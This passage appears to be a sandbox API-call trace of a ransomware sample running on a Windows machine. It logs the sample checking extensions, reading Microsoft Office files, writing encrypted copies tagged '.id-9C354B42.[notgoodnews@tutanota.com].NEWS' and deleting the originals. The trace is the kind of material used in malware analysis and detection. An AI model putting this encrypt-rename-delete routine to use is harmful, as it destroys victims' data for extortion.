[0240.137] CloseHandle (hObject=0x388) returned 1 [0240.138] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.138] SetEndOfFile (hFile=0x3ac) returned 1 [0240.145] CloseHandle (hObject=0x3ac) returned 1 [0240.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0240.146] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 1 [0240.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.147] lstrlenW (lpString=".doc") returned 4 [0240.147] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.147] lstrlenW (lpString=".docx") returned 5 [0240.147] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.147] lstrlenW (lpString=".pdf") returned 4 [0240.147] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.147] lstrlenW (lpString=".xls") returned 4 [0240.147] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.147] lstrlenW (lpString=".xlsx") returned 5 [0240.147] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.147] lstrlenW (lpString=".ppt") returned 4 [0240.148] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.148] lstrlenW (lpString=".zip") returned 4 [0240.148] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.148] lstrlenW (lpString=".rar") returned 4 [0240.148] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.148] lstrlenW (lpString=".bz2") returned 4 [0240.148] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.148] lstrlenW (lpString=".7z") returned 3 [0240.148] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.148] lstrlenW (lpString=".dbf") returned 4 [0240.149] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.149] lstrlenW (lpString=".1cd") returned 4 [0240.149] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.149] lstrlenW (lpString=".jpg") returned 4 [0240.149] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.149] lstrlenW (lpString=".doc") returned 4 [0240.149] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.150] lstrlenW (lpString=".docx") returned 5 [0240.150] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.150] lstrlenW (lpString=".pdf") returned 4 [0240.150] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.150] lstrlenW (lpString=".xls") returned 4 [0240.150] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.150] lstrlenW (lpString=".xlsx") returned 5 [0240.150] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.150] lstrlenW (lpString=".ppt") returned 4 [0240.150] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.150] lstrlenW (lpString=".zip") returned 4 [0240.151] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.151] lstrlenW (lpString=".rar") returned 4 [0240.151] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.151] lstrlenW (lpString=".bz2") returned 4 [0240.151] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.151] lstrlenW (lpString=".7z") returned 3 [0240.151] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.151] lstrlenW (lpString=".dbf") returned 4 [0240.151] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.151] lstrlenW (lpString=".1cd") returned 4 [0240.151] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID") returned 63 [0240.152] lstrlenW (lpString=".jpg") returned 4 [0240.152] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.152] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0240.152] lstrlenW (lpString="cricket.exe") returned 11 [0240.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\cricket.exe" (normalized: "c:\\program files\\microsoft office\\cricket.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.154] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=78336) returned 1 [0240.154] CloseHandle (hObject=0x3ac) returned 1 [0240.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\cricket.exe" (normalized: "c:\\program files\\microsoft office\\cricket.exe")) returned 0x20 [0240.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\cricket.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\cricket.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\cricket.exe" (normalized: "c:\\program files\\microsoft office\\cricket.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0240.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.728] lstrlenW (lpString=".doc") returned 4 [0240.728] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0240.728] lstrlenW (lpString=".docx") returned 5 [0240.728] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0240.728] lstrlenW (lpString=".pdf") returned 4 [0240.729] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0240.729] lstrlenW (lpString=".xls") returned 4 [0240.729] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0240.729] lstrlenW (lpString=".xlsx") returned 5 [0240.729] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0240.729] lstrlenW (lpString=".ppt") returned 4 [0240.729] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0240.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.729] lstrlenW (lpString=".zip") returned 4 [0240.730] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0240.730] lstrlenW (lpString=".rar") returned 4 [0240.730] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0240.730] lstrlenW (lpString=".bz2") returned 4 [0240.730] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0240.730] lstrlenW (lpString=".7z") returned 3 [0240.730] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0240.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.730] lstrlenW (lpString=".dbf") returned 4 [0240.730] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0240.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.730] lstrlenW (lpString=".1cd") returned 4 [0240.730] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0240.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.731] lstrlenW (lpString=".jpg") returned 4 [0240.731] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0240.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.731] lstrlenW (lpString=".doc") returned 4 [0240.731] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0240.731] lstrlenW (lpString=".docx") returned 5 [0240.731] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0240.731] lstrlenW (lpString=".pdf") returned 4 [0240.731] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0240.731] lstrlenW (lpString=".xls") returned 4 [0240.731] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0240.732] lstrlenW (lpString=".xlsx") returned 5 [0240.732] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0240.732] lstrlenW (lpString=".ppt") returned 4 [0240.732] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0240.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.733] lstrlenW (lpString=".zip") returned 4 [0240.733] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0240.733] lstrlenW (lpString=".rar") returned 4 [0240.733] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0240.733] lstrlenW (lpString=".bz2") returned 4 [0240.733] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0240.733] lstrlenW (lpString=".7z") returned 3 [0240.733] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0240.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.733] lstrlenW (lpString=".dbf") returned 4 [0240.733] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0240.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.734] lstrlenW (lpString=".1cd") returned 4 [0240.734] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0240.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\cricket.exe") returned 45 [0240.734] lstrlenW (lpString=".jpg") returned 4 [0240.734] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0240.734] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0240.735] lstrlenW (lpString="Apex.eftx") returned 9 [0240.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0240.873] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=218310) returned 1 [0240.873] CloseHandle (hObject=0x384) returned 1 [0240.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 0x20 [0240.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0240.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.875] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0240.890] GetLastError () returned 0x0 [0240.890] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x354c6, lpOverlapped=0x0) returned 1 [0241.630] WriteFile (in: hFile=0x1cc, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x354d0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x354d0, lpOverlapped=0x0) returned 1 [0241.644] ReadFile (in: hFile=0x384, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0241.644] WriteFile (in: hFile=0x1cc, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0241.644] SetEndOfFile (hFile=0x1cc) returned 1 [0241.645] CloseHandle (hObject=0x1cc) returned 1 [0241.645] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.645] SetEndOfFile (hFile=0x384) returned 1 [0241.992] CloseHandle (hObject=0x384) returned 1 [0241.992] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0242.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx")) returned 1 [0242.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.110] lstrlenW (lpString=".doc") returned 4 [0242.110] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.110] lstrlenW (lpString=".docx") returned 5 [0242.110] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.110] lstrlenW (lpString=".pdf") returned 4 [0242.110] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.111] lstrlenW (lpString=".xls") returned 4 [0242.111] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.111] lstrlenW (lpString=".xlsx") returned 5 [0242.111] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.111] lstrlenW (lpString=".ppt") returned 4 [0242.111] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.111] lstrlenW (lpString=".zip") returned 4 [0242.111] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.112] lstrlenW (lpString=".rar") returned 4 [0242.112] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.112] lstrlenW (lpString=".bz2") returned 4 [0242.112] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.112] lstrlenW (lpString=".7z") returned 3 [0242.112] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.112] lstrlenW (lpString=".dbf") returned 4 [0242.113] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.113] lstrlenW (lpString=".1cd") returned 4 [0242.113] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.113] lstrlenW (lpString=".jpg") returned 4 [0242.113] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.114] lstrlenW (lpString=".doc") returned 4 [0242.114] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0242.114] lstrlenW (lpString=".docx") returned 5 [0242.114] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0242.114] lstrlenW (lpString=".pdf") returned 4 [0242.114] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0242.114] lstrlenW (lpString=".xls") returned 4 [0242.115] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0242.115] lstrlenW (lpString=".xlsx") returned 5 [0242.115] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0242.115] lstrlenW (lpString=".ppt") returned 4 [0242.115] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0242.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.115] lstrlenW (lpString=".zip") returned 4 [0242.115] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0242.115] lstrlenW (lpString=".rar") returned 4 [0242.116] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0242.116] lstrlenW (lpString=".bz2") returned 4 [0242.116] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0242.116] lstrlenW (lpString=".7z") returned 3 [0242.116] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0242.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.116] lstrlenW (lpString=".dbf") returned 4 [0242.116] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0242.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.117] lstrlenW (lpString=".1cd") returned 4 [0242.117] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0242.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx") returned 76 [0242.117] lstrlenW (lpString=".jpg") returned 4 [0242.117] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0242.118] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0242.118] lstrlenW (lpString="Black Tie.eftx") returned 14 [0242.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0242.560] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=618119) returned 1 [0242.560] CloseHandle (hObject=0x188) returned 1 [0242.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 0x20 [0242.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0242.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0242.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.562] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.563] GetLastError () returned 0x0 [0242.563] ReadFile (in: hFile=0x188, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x96e87, lpOverlapped=0x0) returned 1 [0242.675] WriteFile (in: hFile=0x398, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x96e90, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x96e90, lpOverlapped=0x0) returned 1 [0243.138] ReadFile (in: hFile=0x188, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.138] WriteFile (in: hFile=0x398, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0243.139] SetEndOfFile (hFile=0x398) returned 1 [0243.139] CloseHandle (hObject=0x398) returned 1 [0243.139] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0243.139] SetEndOfFile (hFile=0x188) returned 1 [0244.240] CloseHandle (hObject=0x188) returned 1 [0244.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0244.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx")) returned 1 [0244.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.466] lstrlenW (lpString=".doc") returned 4 [0244.466] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.466] lstrlenW (lpString=".docx") returned 5 [0244.466] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.466] lstrlenW (lpString=".pdf") returned 4 [0244.466] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.466] lstrlenW (lpString=".xls") returned 4 [0244.466] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.466] lstrlenW (lpString=".xlsx") returned 5 [0244.466] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.466] lstrlenW (lpString=".ppt") returned 4 [0244.466] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.467] lstrlenW (lpString=".zip") returned 4 [0244.467] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".rar") returned 4 [0244.467] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".bz2") returned 4 [0244.467] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0244.467] lstrlenW (lpString=".7z") returned 3 [0244.467] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0244.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.467] lstrlenW (lpString=".dbf") returned 4 [0244.467] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.468] lstrlenW (lpString=".1cd") returned 4 [0244.468] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.468] lstrlenW (lpString=".jpg") returned 4 [0244.468] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.468] lstrlenW (lpString=".doc") returned 4 [0244.468] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString=".docx") returned 5 [0244.469] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0244.469] lstrlenW (lpString=".pdf") returned 4 [0244.469] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString=".xls") returned 4 [0244.469] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString=".xlsx") returned 5 [0244.469] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0244.469] lstrlenW (lpString=".ppt") returned 4 [0244.469] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0244.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx") returned 81 [0244.470] lstrlenW (lpString=".zip") returned 4 [0244.470] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0244.470] 